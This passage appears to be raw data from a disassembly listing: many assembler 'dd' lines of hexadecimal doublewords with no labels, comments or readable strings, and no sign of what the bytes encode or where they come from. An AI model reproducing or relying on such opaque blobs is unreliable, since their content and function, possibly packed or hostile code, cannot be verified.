3B7E0298h dd 5C5B0626h, 452C250Ah, 723CD509h, 950908A2h, 0F95D79C2h dd 0A7B740C6h, 5B12F908h, 32EE7F68h, 0EB50F6E1h, 40826D75h dd 625415ABh, 0D4C21648h, 0CA3033D9h, 22A09B6h, 338CBD3Eh dd 5B7CA5E7h, 4DB3505h, 0E939C3AAh, 801D5A3h, 4264E181h dd 16996869h, 7DC765C2h, 3F833BD1h, 1BCD9201h, 59D6F8Ch dd 312C3BE3h, 7D37A4F7h, 851852h, 3C6E6DEDh, 0B1756865h dd 0B54308D8h, 0D6295F04h, 0B14BE2EBh, 0B724BFE9h, 0E2E24E89h dd 805CB07Ch, 688512F1h, 7531AB9Dh, 6BF79BB7h, 9B508ADCh dd 86015E4Ch, 47D4FACh, 5A5072C3h, 7DEADBCh, 2D249EF2h dd 0CBEFE0CFh, 0BF682337h, 8812B72h, 2167E85Ah, 41B7F1B7h dd 3A2590E9h, 0CDAED335h, 47A47BE3h, 54254079h, 56515F01h dd 575D7BEh, 0A16E872Fh, 6ED8C88Bh, 4C07AAACh, 0E02F6D17h dd 514D06E6h, 0FC181861h, 923B9157h, 0F389D1CCh, 510B08FCh dd 0D3548208h, 0D02902C6h, 206256C0h, 0DC379530h, 487E2D5Ah dd 7701FB5Dh, 316F7A7Ch, 57C761DFh, 0E35D794Ch, 0C6D3F7E8h dd 0D014CC9Dh, 1B115B02h, 8FFE2906h, 5E4B0820h, 89B237A8h dd 5828565Dh, 3C2FFBDh, 0C6AF41E9h, 7BC5A103h, 0B7BE9AFCh dd 58907CE4h, 2D10EE20h, 8CDFF581h, 0AED946Bh, 1A4E629Ah dd 6EFFE934h, 0F5D623Fh, 3A54F8E9h, 30FABD00h, 9F21132Ch dd 4C43A082h, 58C12000h, 9D7AE680h, 0EB26007Dh, 9F2BFAE9h dd 85EF72F6h, 492773Dh, 9EC06CCDh, 10EB2404h, 82EF4ACFh dd 0FC00FE11h, 0BE0DEC27h, 7BAC59A9h, 57EB5D40h, 0B51FD962h dd 749D7E50h, 87E5B83h, 8E88E918h, 1F0DEE39h, 0D7036C4Eh dd 0E9248CF5h, 12390B25h, 0BDE86021h, 0A5756Ah, 0B353B4B8h dd 5AD03163h, 35004071h, 5D0A38C6h, 0BF09BD68h, 18974DC6h dd 8133363Dh, 1666C5Eh, 4E685350h, 0D4881D46h, 0A728A883h dd 0B2E91462h, 0AFFD098Dh, 5B223403h, 0D67FC5EDh, 0E5AD70A4h dd 0F54A3A8Ah, 447E9AE0h, 0DA95C3CDh, 0E79C80EFh, 77FE251Ch dd 4107CA48h, 0D397E4B1h, 34CF4647h, 0B7E57509h, 285BA8A0h dd 8D01DF25h, 384704DCh, 0C0ECAEF8h, 0DBF68050h, 1696F028h dd 2FBAE408h, 8E384AD0h, 64AB4A0Ah, 8F6834BDh, 60FA4A8Fh dd 3DB6E961h, 7DEB27C0h, 0A1030E49h, 0BA6337ACh, 0B2CFEC4Bh dd 9BB51868h, 2185D97h, 0C7BBAA73h, 21A8FA13h, 6E5DBF25h dd 0C38D9673h, 0EF8506ACh, 0AB93F5A3h, 4A5648A4h, 0E4ADCDCEh dd 79950369h, 5DBBC06h, 0FBACB6B4h, 33B0950Eh, 50B3BFACh dd 2EFD0FF1h, 885B71BAh, 525800ADh, 68551D53h, 579B0BB9h dd 4DE7807Fh, 3C4E0939h, 0C18EEB89h, 0B97D05E3h, 46061DC8h dd 0C3C5E01h, 9BC5290Bh, 0E912012Bh, 5D3F2A8Ch, 12CCC579h dd 0B0DB137Ah, 735E69F3h, 841AEEDh, 23CBC200h, 0F80A4B33h dd 0E8BB26CFh, 2AE9D802h, 0A5DA5E3Bh, 0DEA7F4F6h, 48578AD1h dd 93DF69E5h, 8005B08Fh, 23E9277Ah, 38BE3FE0h, 25551B1Bh dd 0B2329020h, 3FE89DDEh, 68E25EF0h, 0FB077A2Ah, 2A8E5D55h dd 2BA429AAh, 0FBF528AEh, 22AF2845h, 0C31BCD7h, 1A15E956h dd 0B419E3Dh, 4B917960h, 67FC320Ch, 280991DCh, 0CFF7F6C3h dd 0EA49B4C4h, 40360A8Ch, 0CDFC5A01h, 6600A194h, 26B45059h dd 80CC24FEh, 0DDC01CC1h, 83C48102h, 0BF58E328h, 8C4E725Eh dd 12A1CBFEh, 0DFF62FBDh, 31A04A78h, 737815F2h, 0D3FC4A8Ah dd 6A329DB1h, 4AC90441h, 5CEC1207h, 0C042822Dh, 0FC046AFDh dd 88EF087Eh, 217EEA8Eh, 0D601B1E2h, 0C048F27Eh, 0D369D2C5h dd 0B08C9811h, 29088117h, 7B11F2E2h, 4D7249E9h, 765CC125h dd 7C139F09h, 0B1D44413h, 79BA3BB4h, 67384Ch, 0FE10BF3Ah dd 94B6CAE9h, 2EAF4FD1h, 802FA084h, 5B408836h, 8BA0155Eh dd 56740A27h, 13F7D921h, 0CB47FCD8h, 7CF612BAh, 1C792884h dd 114A3DBEh, 6B1B3001h, 1862B951h, 0AA420410h, 46736E2Dh dd 82D9F2B5h, 0F1AF6C08h, 2813F6F4h, 25BE47C6h, 68711F6Ah dd 0BA84D43h, 7609F717h, 3BC1A841h, 290EDAF8h, 54E9E9F9h dd 9F68F376h, 0BBA47308h, 0BC427359h, 1B2DF61Ah, 0E05B00D8h dd 5A4CAF86h, 126AEC5Fh, 2937717Ch, 2011F20Bh, 0BD00CAACh dd 7C5F03C8h, 25227DB8h, 4181C6A1h, 2FE1E940h, 6FB58200h dd 4E5C0h, 8017B753h, 0FD30ECF7h, 0D1C6E916h, 0BD55EC88h dd 58980294h, 354EEF0Fh, 0D65DFD59h, 7D4AED4Bh, 82DEDD09h dd 21E4DF25h, 0FF716F7Eh, 70D0FCBDh, 305A3168h, 594674CCh dd 5416EA66h, 0CD4CC01h dd 4351040h, 0CC8761A6h, 4504FA09h, 8514B574h, 0A7CBA204h dd 0B00312BBh, 0BB4203C6h, 0E9120B5Ch, 51E848A5h, 0DE3B1910h dd 3BC70260h, 0C01B5B61h, 9F39AC26h, 0DF981CD3h, 0B414701Ah dd 0F545CFBAh, 462C98B7h, 7D54400h, 4135D8F7h, 129F027h dd 91630905h, 6651502Eh, 0BBBD02DEh, 0C0308F45h, 57F942Ah dd 4FE9495Ah, 6EA38D1Dh, 0FF7487F1h, 5EE19D1Bh, 0E6312B29h dd 0B4016C18h, 8A5F3067h, 30EE06C2h, 3696D7E2h, 805AD307h dd 0E33360CBh, 0D5EBB1DAh, 2606296Eh, 0A9B512ABh, 683BA4FEh dd 0F10DF12Fh, 98E9C16Fh, 1D279794h, 747250CDh, 4EDF2C10h dd 0EED33EF8h, 4E11C246h, 0B3B80F34h, 904D53Fh, 1409BFC6h dd 9F3E7005h, 54E49951h, 550550A3h, 50583AE9h, 1D259669h dd 76255930h, 0F66C1C2Ch, 1F14172Ch, 0E0C0C3BFh, 0A6D5DB06h dd 8A459516h, 0ABDA2489h, 0CF80774Eh, 35106927h, 31F90CD3h dd 0CEB4950h, 2AA9114Fh, 56120A0Ch, 50EA33F6h, 0C6808F0h dd 4A01BF14h, 0E94EFE65h, 4EA43F38h, 0D7680457h, 811BC759h dd 2A8DE300h, 0A7BC8A74h, 9528A48Bh, 86E9E291h, 811CA5D8h dd 0D1F43CBh, 80E303BBh, 7C1E8962h, 0BE7918A6h, 33378A11h dd 252E63Eh, 0B0D9F0F3h, 2071D55Fh, 12059E8Eh, 0DF0EA2AAh dd 7F523CD7h, 80B4B6BCh, 456E50DBh, 26025A5Ch, 0C18B6E07h dd 0F59184EDh, 0B519A883h, 0FE4FC5EBh, 5A783A9Ch, 20393148h dd 56590212h, 4AC15E52h, 1756850h, 25E943C8h, 4A7E85A1h dd 0A9BF547Ch, 7789AA5Eh, 3AEB92E8h, 1BC67BC0h, 1754D82Dh dd 15EF229h, 9D6B35F0h, 0EC6B614Eh, 7426DE33h, 843EE009h dd 1A42E61h, 4B68ECABh, 93594D8h, 0D253EDBCh, 2C2CA25Ch dd 63A25F2Dh, 0B4D47F90h, 4E5E246Fh, 0E2E75DE8h, 2055974Ah dd 4C5E5C2Ah, 0F9215A32h, 52979F58h, 0E9E578FAh, 48381F34h dd 27C7ADAFh, 0FC5770ACh, 1C4B6926h, 26EDE0Fh, 8FB7AB13h dd 0FB680E61h, 22F62A2Eh, 86CC5F91h, 97272D5Bh, 17618460h dd 5D584792h, 0B5818345h, 0F23EE9BEh, 295B3882h, 0B0D55DEFh dd 5A1DE993h, 852BB29Dh, 0B6A80652h, 0A77207CEh, 0D4FB4A31h dd 8B23FA2Eh, 0ACAECC68h, 653BC5BFh, 56CBD3F8h, 1817287Eh dd 0AFDF67ABh, 2E2D7539h, 353F2FB5h, 54A8809Ah, 29980342h dd 0E917ADBAh, 0DDE411F8h, 80374017h, 5809EF16h, 7FEC04EAh dd 6B21425h, 0CCA770Bh, 6DBB130Ch, 0EF780BD2h, 0E5E0B505h dd 49E77E66h, 52FDE50h, 81451D3Fh, 84BFA8E9h, 2A886404h dd 0CD2F134Dh, 5DEB07Dh, 2E1EA909h, 346B602Dh, 65E724F0h dd 1CA4764h, 2E244D4Ch, 0C702F1B8h, 1D92021h, 27E95FC0h dd 81F492ABh, 0B9F71CEFh, 0DCE680B8h, 2E9F34Dh, 0BF88CD1Fh dd 0C7E48191h, 57505146h, 2990C87h, 0B15C9B93h, 0B0D008A0h dd 3CB15F14h, 0E384047Eh, 0D514C8h, 620C2C38h, 12BBE581h dd 0BF691156h, 2FD051Ch, 88323CCDh, 4816C047h, 20C80970h dd 18602DE9h, 1C5D2168h, 39DD8673h, 0B2C63CD1h, 0C63A498h dd 192F42B3h, 8162820h, 140B0C34h, 8ADDB5Dh, 0C782627Bh dd 0E34557ADh, 8E540AAh, 88CF9B5Ah, 0D427D3D5h, 8457AD46h dd 0F98B5889h, 1371F940h, 0BF2CBF07h, 0F88ACE41h, 0A215D340h dd 0DCE985B8h, 0C56C5DB1h, 92FDBC25h, 0FA14E475h, 0F9CC5F9Bh dd 3668B118h, 8234377Bh, 0FF6C1B6Eh, 44ADB527h, 0E36CBF6Fh dd 5E26814h, 2D00DEBDh, 0E929E104h, 0E95A5D41h, 0D2079C9Fh dd 0B7BF1F30h, 5BDDE3BDh, 246C29A0h, 0D7C5065Ah, 0FC023B8Ch dd 19577C56h, 324A52BFh, 547370FEh, 24CA67B7h, 6200279Ah dd 8751CABDh, 0ED816F01h, 12C70D19h, 0A18FC720h, 272037D8h dd 57EA1297h, 4C90EE03h, 4E772BF1h, 0DA30A1E7h, 32474ED5h dd 51A3F231h, 0D228FE57h, 0A80A9FF3h, 0B18FF72Ch, 980B0525h dd 4B53EBD1h, 0DA38C04Dh, 3688AEF5h, 0A0ACAA83h, 7092EAE6h dd 0A14E5B32h, 48FD3A4Dh, 4D541581h, 68B4314Bh, 0D65E2DA3h dd 0A697095h, 0AAB93AE1h, 958AABD2h, 0FAC4FB4Ah, 0D237A9EBh dd 0E5212912h, 0A707A357h, 0FE876CFh, 814BC29Fh, 8877A11Dh dd 23EE9084h, 0E912C02Eh, 0B891F82Ah, 7C0B7501h, 1DB8341h dd 25A4F712h, 64577D03h, 59323864h, 87EED7CBh, 0E6F05F07h dd 610242ACh, 11880C63h, 0F6F520FCh, 5D1F3E00h, 1EE8346h dd 6F8D2F68h, 4D48618h, 0CD4F5B24h, 0E27A9302h, 0B400DF56h dd 0D132D320h, 0DCBD43F3h, 7023CC81h, 88A803B2h, 0F5D9ABAh dd 0E3F202F9h, 430E6410h, 0F5D6921Ah, 0EA055DCCh, 2B6F7BC4h dd 580075FDh, 0E90CBD27h, 0AFBC7D48h, 0D9167982h, 4B584077h dd 0FAB35808h, 0A9FCCA13h, 0E2E9F3BDh, 63FBA932h, 486889F7h dd 0A493ADBFh, 18F7F9BEh, 0EA1735A9h, 0F6139D88h, 23D0A2C1h dd 37AB4EE5h, 3936F265h, 898E3057h, 9718BD29h, 0D795AEBFh dd 63B76210h, 2DDD2C38h, 2D11F0F8h, 0F0D92684h, 20926CEBh dd 2504BF05h, 2F207FCCh, 0F17D08FFh, 9C48308h, 0F955BC76h dd 0B908B115h, 70EAE0D4h, 20AF565Fh, 0F187CE03h, 2AE62190h dd 7035100h, 63A9BF57h, 89469EEFh, 7E201E5Ch, 39202FA3h dd 0C34056B8h, 29C54A29h, 0B8C50066h, 604BBF1Bh, 3E7F2481h dd 5A259322h, 8E1030FFh, 80688037h, 928C495Eh, 0D5E8F1h dd 0CEEB8139h, 0F71A7A3Bh, 0DB5BD372h, 63E99904h, 0BE0477ACh dd 81623691h, 3F3ADDA6h, 7BD93B75h, 55337240h, 0FC684A27h dd 80BED39Bh, 395FC9EBh, 12068833h, 5D7CF02h, 40FC1CF2h dd 2070A73Bh, 2F09077Ch, 7D2DCA74h, 627DBC12h, 2023E47Dh dd 0C082337Ch, 820C44D7h, 0EF5357BEh, 340BF569h, 2C48BE2Ch dd 5E08F5Dh, 193767D9h, 0D200D4C5h, 27AB3BC4h, 0E281024Ah dd 39491B5Dh, 0B320CFCEh, 0B16813FCh, 0DF5FFC3Dh, 0F10CD68Bh dd 0E93BC4Ah, 0BA482498h, 5D590CD2h, 29BFD34Ch, 229784FAh dd 0E7FFA8BBh, 278053F3h, 76686B7Bh, 0C9BFF550h, 21928659h dd 4B2AAF5Ah, 0A784C749h, 4B883737h, 2D0814F1h, 8D5D1761h dd 4EAB3BCFh, 0D1128F4Ch, 3D3D8227h, 7B4C2428h, 0A6D5018Fh dd 5A1A1455h, 3C2AA5BFh, 6BC84EAEh, 0EA305AE6h, 0D5A21532h dd 0E55FBB8Bh, 0B45B17BFh, 474EE314h, 0EEF492F8h, 97BF91C8h dd 82C5ED8Bh, 9D9394A5h, 5C27A17Dh, 0BBC03854h, 26AB58A8h dd 693EE95Eh, 60C25D8Bh, 827D2E82h, 0F273C677h, 29D84E64h dd 3DBEF15Eh, 52C80256h, 4C4AA468h, 42AF09DBh, 0D509066Bh dd 54BD97Fh, 0C8B7EEE9h, 21244960h, 0F201BFE8h, 0C860CDACh dd 47720B6Ah, 8C31E085h, 0DBF255D4h, 0FFE3634Fh, 4AB9BD10h dd 0EB02CBE8h, 23B652E7h, 0F5E0E15Fh, 0B86A123Ah, 0F285C2B0h dd 3A750976h, 0BFA979B1h, 8C2FAD17h, 0BB775FDh, 28037506h dd 919AA21Bh, 605DEFC2h, 7C45A012h, 0D0FAF2E5h, 5F0508DAh dd 0FE1331E9h, 34538434h, 166B2FFBh, 8D04E8C1h, 0EF40521Fh dd 2F3420F8h, 0C8C72928h, 4FD435Dh, 0A4473EC8h, 275BDBEh dd 0D36C08B8h, 68ED6031h, 12607A6Eh, 0B55541E9h, 0A6C1F775h dd 80109E1Bh, 3009591Eh, 0C7717D4Ah, 9BB118BDh, 746CC183h dd 28C984Eh, 0FB5106F1h, 89A70987h, 0D17B71EFh, 91B97073h dd 30CD1704h, 4A80FD01h, 90B07C83h, 3CE62ACEh, 55E131B4h dd 0F94527A0h, 444842Bh, 10800D6Ch, 0BF73BEE7h, 83F7FDE0h dd 54636777h, 0E8369D24h, 18FD8956h, 0A0074EE9h, 711EDBB9h dd 809D353Eh, 0F6ACCEE7h dd 0BB22BFE1h, 8940886Ch, 13F8D830h, 0A5A8194Fh, 5B5282E4h dd 31D97F09h, 50E57A0Fh, 345C8F16h, 0E6A90CDFh, 6B995443h dd 0FA64D752h, 25EBBD80h, 58715F82h, 1053D00Eh, 0C09FB885h dd 0A83519D8h, 76860A1Dh, 0D709CB40h, 6110E962h, 475B42F0h dd 879A404Fh, 0BD4EE3F3h, 65B61EFEh, 0E0088F87h, 80B1515Ah dd 0ED9CBA90h, 7DD44225h, 0BFE070D1h, 0E4527A61h, 6B1227E9h dd 11011359h, 0E2D12025h, 72FCED71h, 0C21FC91Eh, 404C3F5h dd 2D40A72Ah, 53998171h, 0DA0851BBh, 0DEB22A5Bh, 58C22801h dd 0EC8EE280h, 0A0B53722h, 550FC14Ch, 54BAB045h, 4A67C277h dd 4B7EE62Ch, 648423B9h, 0DE521F17h, 287DCAFAh, 0D6418D54h dd 6E3BA56Eh, 0F431A3A5h, 7CAFA26Eh, 4BBB5AB7h, 1038FA59h dd 94F69F5Ch, 49037CC9h, 243BE575h, 36608B9h, 9C47827h dd 6E645087h, 73E08F7h, 0EA895205h, 0B02B86BFh, 57320969h dd 0EE969B5Bh, 0E01985FFh, 2466DA5Eh, 0F252E82Bh, 573C133Dh dd 0B6C4FB31h, 0C7F20817h, 824FF94Ah, 77FEFCF9h, 60AD5856h dd 7F175610h, 0E74A2706h, 3404CD20h, 34E9968h, 458EB131h dd 0C2C5A378h, 0A063AC22h, 95770A94h, 3D5D7260h, 12513A2Ch dd 0FE29F40Dh, 6B572640h, 0E97E1761h, 5AB7C0A0h, 414B0C68h dd 7F216837h, 0AD4150E8h, 0BE00FDF2h, 2227F6AFh, 2C417D06h dd 7B6A3278h, 0BC43D0Ah, 513F8829h, 49C47E08h, 21F179B5h dd 0F533A552h, 7FAFA247h, 52CB5E96h, 889E670Bh, 0AD3C12E6h dd 5795E877h, 20D89054h, 682F5D61h, 6B91FC31h, 0C10F47DBh dd 46C4951h, 0DDB84BBCh, 0BF9A1396h, 80C84C6h, 32221A9Ch dd 0A323F727h, 6507CAE6h, 107F59BCh, 0F87E4B39h, 0CA1FD66Dh dd 4B85CF6Ch, 0A48C61D7h, 0B84EC47Ch, 0DE945A83h, 7F5FE000h dd 69E9673Ah, 0C2DEC3B9h, 1B916802h, 1D5AD6D7h, 0EFC4254Dh dd 0D065F6BDh, 504AB968h, 0E9A0B8ECh, 44C73BC4h, 0C67522B2h dd 0EFE0F0BEh, 0F3E77AFFh, 0FB4FD44Fh, 8BE96820h, 9C199EAh dd 0B5EBF26h, 3FDCF62h, 0F1F9F821h, 0F4FFFF96h, 0B8CAAE3Ch dd 0D5CBBA97h, 0BEC78117h, 64AB8A84h, 10CAFDF0h, 0BC4AF32Ch dd 39352A9Fh, 12DD9697h, 0FDEE45E9h, 21D7074Fh, 8B21338h dd 3E4E556Fh, 75685707h, 752BA341h, 0DE7ED132h, 6C577C07h dd 515B0187h, 130CA0F2h, 493F19E9h, 0FEF4C692h, 13999E15h dd 75EF3C33h, 0D8622351h, 20EE1384h, 0FEFAD1C4h, 0EA53E59Ch dd 2DC6FC11h, 0F7DA2276h, 6CE550A2h, 1385BF00h, 0BF725832h dd 0DDC35B75h, 1AA87A14h, 76E0E9E0h, 0FB2469Fh, 185B6C59h dd 0BE81C5A5h, 5F60B328h, 0F653D01Bh, 387B0940h, 0EE1A849h dd 7FD3F793h, 50C0528h, 52118AD9h, 708F5AC2h, 1C4B68AEh dd 0D2075E9Bh, 8B6B3D0Ah, 0A0B1D06Bh, 0CE2F7E4Dh, 0F943EFA9h dd 4FFA5D5Fh, 590CCED5h, 0AD0495D4h, 0CD7D0368h, 53E4F819h dd 57BA44C1h, 9020F92Ah, 83910ECAh, 528901E8h, 8C739882h dd 580CD6F2h, 0EE5BD909h, 2F2117C7h, 36A9907Ah, 74C4C103h dd 0F3AFD259h, 8A1C253Dh, 0CE3F0C9Bh, 680BE2A3h, 69B0570Dh dd 77012AC2h, 587F2D59h, 0C7067BCh, 2B030493h, 4D83152h dd 491D431Dh, 1E04F9B3h, 43A6BF5Ah, 9433FD00h, 0F3A7BE7Ah dd 86B7A12Ch, 6709752Dh, 398C48C0h, 0AF8F49C8h, 57AB3AFDh dd 0E9136AD2h, 4044206Fh, 0BB3257B8h, 0E995C8D5h, 1BB24C32h dd 4C80E6D2h, 7E4D40h, 0D0A8B551h, 73F580E5h, 0C1D2EB61h dd 0AA2568AEh, 51218921h, 0A1D07322h, 8D32359h, 9A330CBBh dd 566D1211h, 0D73AB30Bh, 616C68EBh, 0D9FFAEAAh, 8B5841C1h dd 0A0602C34h, 0C39F07E9h, 8FCF8036h, 0D83AE799h, 5204EDF7h dd 12E997B2h, 0C8BF9694h, 5903A0B3h, 0C8216044h, 0F6948CE9h dd 726AE1C1h, 8C8600Dh, 0D0B3F15Fh, 20CE2312h, 1E5DBDC8h dd 3A0C7E60h, 8061CC16h, 67503DC3h, 74FA88Fh, 4CF7FE28h dd 0CB1C2BD2h, 0E93A4444h, 6B12EE71h, 0FCC88CBBh, 2BC91505h dd 5B84F701h, 9E90805h, 274653B0h, 8F5E1068h, 0BEF0C876h dd 0DE0E5F2Dh, 2F505247h, 43B0AFA5h, 606332E6h, 4277588Ah dd 7B68D7CCh, 40806DF8h, 1033002Dh, 0D70D2B01h, 5EAC872h dd 97A4210Bh, 0DB817563h, 30DD8955h, 1E935D16h, 754BED24h dd 5E98D56Dh, 83801372h, 72B6A605h, 0BEF0F428h, 1AA169A6h dd 0D396C056h, 5D19A8A4h, 0DF847B24h, 0F6810459h, 484050FEh dd 0E9BFB4D7h, 2C734132h, 0BCDE774Fh, 2E43CF01h, 0CD306376h dd 0C50A169Fh, 48A2AC7Fh, 3A671F49h, 0D0214A09h, 3BF600DAh dd 31436E66h, 0E5A15EF7h, 894EEC6Ch, 0BE3AF0B5h, 35B56214h dd 0A4A7D175h, 9360A763h, 0DD95FD42h, 0D99751B0h, 8B63F582h dd 2B3703C1h, 817124AEh, 18EE154h, 3AA5A704h, 7E93BDE9h dd 36740E12h, 0A6052F8h, 4C4B2D48h, 10C96D5Ch, 533BE032h dd 9696982Ch, 0EE82175Bh, 0D6C4F087h, 0EDE640EEh, 3F970745h dd 0C7760CC1h, 0FC7B9594h, 7C8E415Ah, 0C9FAF586h, 0E385421Ah dd 805FDC0Bh, 9D03F0A2h, 6C4A2968h, 27816F34h, 0F5215A22h dd 7EA5C94h, 0D3895B09h, 0CF84575h, 0C6AF028Ch, 0A217A602h dd 57F3013Ch, 5B01B1Eh, 9B83840h, 3DE7FDCh, 0FACBA658h dd 693A5788h, 1076057h, 5D53C6EFh, 135B4450h, 68098EF7h dd 476417BAh, 84B05006h, 0A124E8C0h, 28D5D023h, 1032B82Bh dd 0AC074C99h, 6568D830h, 7A1F302Fh, 8E17B151h, 0DB04E180h dd 6122510h, 58F82865h, 5003A298h, 0C48088B4h, 13E6A308h dd 90393C5Eh, 0B70ED86Dh, 68514102h, 0DF615A5Fh, 32B4BC20h dd 60ED14EEh, 0F0135E18h, 0F8084950h, 15681D61h, 644B4B13h dd 0B3AC713Fh, 62AB2E73h, 4EDEEA41h, 0CD4A0EC9h, 0FE2B281Eh dd 6FD64F31h, 0C564BE2Bh, 7650AF89h, 95B951h, 816ABC0Dh dd 1F63BAE1h, 99D73350h, 48C9233Fh, 0B7F72094h, 68E50380h dd 34F87C3Dh, 9CBF2E9Ah, 30669DA4h, 41B93297h, 0B900F54Bh dd 643D34ECh, 0F5A97D26h, 70966B5Bh, 34DECB08h, 56FF956h dd 469754BFh, 2C39830Bh, 40A3A4Bh, 0C1505117h, 36A623DBh dd 8FB2321Ah, 10E04058h, 9B35C69h, 4C5C0910h, 894F2612h dd 0C55A57C2h, 58C589B6h, 42970100h, 0C29F5DCCh, 0A0F25128h dd 357E41DCh, 2958FDCDh, 0BF95FDCh, 806BB85Fh, 8437EFBBh dd 0B2BDF440h, 2C4F90A4h, 44AA81F8h, 484FA902h, 88D901F0h dd 0DD205AF3h, 0ABE1846Bh, 0CDFED760h, 5EB30953h, 7892DD30h dd 0DC76685Dh, 0B3DF9575h, 78C3D985h, 5E8B513Ch, 0EA42D9BAh dd 29E3A4DFh, 903BCBC9h, 11C2BDDEh, 1616F148h, 0DBE64B88h dd 89622917h, 32A60059h, 5D021F6Ah, 775FF125h, 0DC51E17Dh dd 8DEE8100h, 47276B7Ah, 8EF8829h, 0E3E50C35h, 0EF2228AFh dd 0EEDD8759h, 455EB581h, 544E81DAh, 7CCE1C13h, 0B257253Ch dd 4FD15546h, 0E306ED42h, 8A09A4C1h, 815FEA5Dh, 0A908CB98h dd 0EAEA0820h, 3820D8E9h, 350F09B9h, 42BF37D1h, 0F246D824h dd 79C5094Bh, 68D4A93Eh, 3C7A5303h, 0B3180120h, 0E97B5539h dd 0AD917FC6h, 0FD2BFD01h, 0E9BC9867h, 302A40BBh, 9420E7A8h dd 718D5D82h, 0F7EA6006h, 18DFD0FDh, 427FE927h, 0F1B69370h dd 75D287D3h, 9F82B265h, 7D545A49h, 0F76BDFD9h, 0DF68E968h dd 0D52FF5BEh, 53C1CA3Ah, 676EEA40h, 1EEA2928h, 93464A21h dd 10990854h, 0C80F5C00h, 0A82E4268h, 2584E911h, 0C8DDFEF3h dd 80C4CF2Fh, 0C028D2F6h dd 0BE3DC3E2h, 0F5957B44h, 42517EB1h, 0F9767C93h, 578A5951h dd 4AFC05Ch, 0AB0AF580h, 0B4041C8Bh, 0ABE53094h, 80A015BCh dd 283AA4C3h, 0E9EAF2EBh, 0D2B3BC2Eh, 333DC5A0h, 90D1A7Ah dd 65EC8153h, 0DC70F008h, 0BDD6702Ch, 50987E6Eh, 0B792579Fh dd 0E978AA6Ch, 0FCB8FD6Bh, 0E945EC91h, 0D74BA92Dh, 270E616h dd 0BF520CE1h, 59EA3DC8h, 9DFE927h, 0CDF9D599h, 5511CD42h dd 82C3A938h, 0C1B0535Fh, 0A0759739h, 0A0049A90h, 0F1569F42h dd 5E0B0820h, 7701B951h, 350782BAh, 684FE0EFh, 479C18C7h dd 0BF79DC60h, 0E2F2C24Bh, 0F9838151h, 733F1AE1h, 6C4889F3h dd 91DA5F5Bh, 17711B0Bh, 0A1815F3Ch, 2B293226h, 56203AE1h dd 6887C90Ch, 0F4355857h, 2D3B9E3Eh, 0DEE9C8D9h, 0B1779253h dd 82A3172Eh, 0EE750CA4h, 0C28102FBh, 28AC202Bh, 0AF22C05Dh dd 1304802Ah, 3AD8B6A1h, 57497400h, 13BCC068h, 0AA5F5240h dd 6530FAA5h, 489497D1h, 20F726BDh, 3922951Ch, 66FF1A68h dd 18959274h, 456E63E9h, 6F0EB6C3h, 0DF295B18h, 3BC2B957h dd 0B9EADD05h, 59D7FC09h, 82D5E9F1h, 0D5F11F0Fh, 0F7FC571Ch dd 5595A992h, 60C69899h, 0BA805994h, 0A13F1476h, 122977Fh dd 0CF69E92Eh, 0F18E98BAh, 1668BE44h, 1509C67h, 183A1907h dd 1013157h, 277AAFEh, 80F7C052h, 0ED964CC2h, 8AC828CCh dd 0FDA76391h, 62EFC86h, 0F2734976h, 8DF77FE1h, 9D856A16h dd 0D5A50954h, 204710CEh, 0BA251F05h, 8C253962h, 33BC8564h dd 4451A44Fh, 4CF7158Ch, 8B25E1D0h, 46B0B05Ah, 246CC02Dh dd 2516B37Bh, 0E84AEF8h, 0A7429472h, 4C95ABAh, 8FB5A322h dd 0B52D9431h, 0C16B0C69h, 0AB4B2810h, 405DBE00h, 0CE811D84h dd 4F5958C4h, 0C7CFE0FBh, 0A02F0241h, 0BB07533Eh, 22B618D9h dd 93E02DE4h, 0F9ED3C80h, 4AD99A77h, 2084BA5Ah, 0E5F0B2AFh dd 0AD626B3h, 3DFDFE20h, 327EF183h, 0BBD46D18h, 5019E2Ch dd 2E7E05D0h, 13E7F6D2h, 971C5357h, 5F311141h, 0B8BBCBBh dd 94F7A6E9h, 4BD5F6BCh, 542CB315h, 0DB417EAFh, 2F535F20h dd 7856AC4Dh, 943500Fh, 0C328F772h, 5AD78D08h, 51170622h dd 400FE92Fh, 1EEDB833h, 8C5E3147h, 0EB8B1FA8h, 0C3AEB50Bh dd 7380D80Ah, 0BF7A4E41h, 2DD83181h, 0F2BF0A45h, 2C1B1F9h dd 0AA9D247Fh, 683C34A2h, 0C0D4AC4Eh, 9CD67CBEh, 0F33104EFh dd 0AAB42CE9h, 0C9CFA2B8h, 0F500C8D5h, 3BF67F3Eh, 26BEEE09h dd 0FB6F5C02h, 3AE05D6Eh, 0C3B1E8Dh, 0E71ECF71h, 0C5DFE540h dd 400EE989h, 0D0EC525Ah, 36F47249h, 1A55F9Ah, 4CE781CFh dd 0DB641455h, 0D95148D9h, 37B07E04h, 0A5E98083h, 0D9F9A64Eh dd 560056C9h, 384A554Eh, 40F2894Ch, 2800C6A7h, 0CD817AA1h dd 5C3332B3h, 1600B971h, 0F70E0722h, 0ED30D1D5h, 0A67C164Dh dd 5A20F112h, 45523926h, 53620C6Fh, 0D6D42EF8h, 0CD008A0h dd 0D65D2F14h, 0F6AF6F40h, 447FCD63h, 7677F3D2h, 81DC930Dh dd 6A20B5E7h, 273A22FCh, 0E90EDDB3h, 62E9D6E2h, 0CD19DCE5h dd 754BA894h, 1C68AE90h, 8E8C395Ah, 5E014073h, 843DA6D4h dd 3FF86D55h, 0B83A29CBh, 1216B888h, 0FBDC591h, 0EE095FA0h dd 0FF784A9h, 5E180BC7h, 2FB9299h, 303F175Bh, 0C19458C3h dd 4157831h, 767CFD01h, 37EDD63Dh, 0F51F3569h, 3414C92Eh dd 746BAE7Dh, 64257BDBh, 3FF90099h, 0FC4BC259h, 5B1CC0DEh dd 0E91FE278h, 9DAE0B4Eh, 8B4240D7h, 3C60085Bh, 3A49EC2Eh dd 0DA292E69h, 6EA0904h, 28D3E04h, 74D83159h, 0FB0B44F4h dd 5FF8DB14h, 0E9D878EEh, 77081726h, 98FF5FB5h, 0A5BFEECBh dd 0F6EFC605h, 202B58DFh, 0B9C3F07Fh, 0F4D788A7h, 9C97561Dh dd 68C3E0D0h, 30715F5Dh, 6670203Dh, 0FA072296h, 29B0B8A4h dd 6AD6E9EBh, 2D8AD2Bh, 2D5E209Dh, 0B52501DFh, 1C81C474h dd 99ABE8C5h, 16C8422Ch, 891EE90Fh, 654882E5h, 13DAC4EEh dd 0EDF963FCh, 0E12D00C6h, 0E9425A4Bh, 3AF56B8Bh, 538FB05Dh dd 52BE2568h, 0E98A8271h, 6692BA86h, 41D2A8F1h, 7CE30959h dd 